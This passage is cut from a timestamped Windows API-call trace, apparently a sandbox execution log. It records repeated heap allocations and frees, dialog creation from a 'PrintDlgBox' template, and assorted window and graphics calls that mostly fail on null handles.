hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.783] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.783] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.783] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.784] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.784] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.784] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193140168, cy=27, fuLoad=0x0) returned 0x0 [0026.784] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.784] GetLastError () returned 0x715 [0026.784] SetLastError (dwErrCode=0x715) [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.784] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.784] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.784] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.784] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.785] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.785] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.785] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.785] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.785] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.785] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.785] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.785] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.786] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.786] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.786] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.786] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.786] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.786] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.786] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.786] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.786] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.787] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.787] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.787] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.787] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.787] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.787] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.787] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.787] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.787] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.787] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.787] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.787] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193121223, cy=27, fuLoad=0x0) returned 0x0 [0026.787] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.787] GetLastError () returned 0x715 [0026.787] SetLastError (dwErrCode=0x715) [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.788] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.788] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.788] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.788] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.788] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.788] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.788] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.788] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.789] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.789] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.789] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.789] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.789] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.789] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.789] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.789] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.789] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.790] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.790] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.790] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.790] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.790] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.790] RtlAllocateHeap 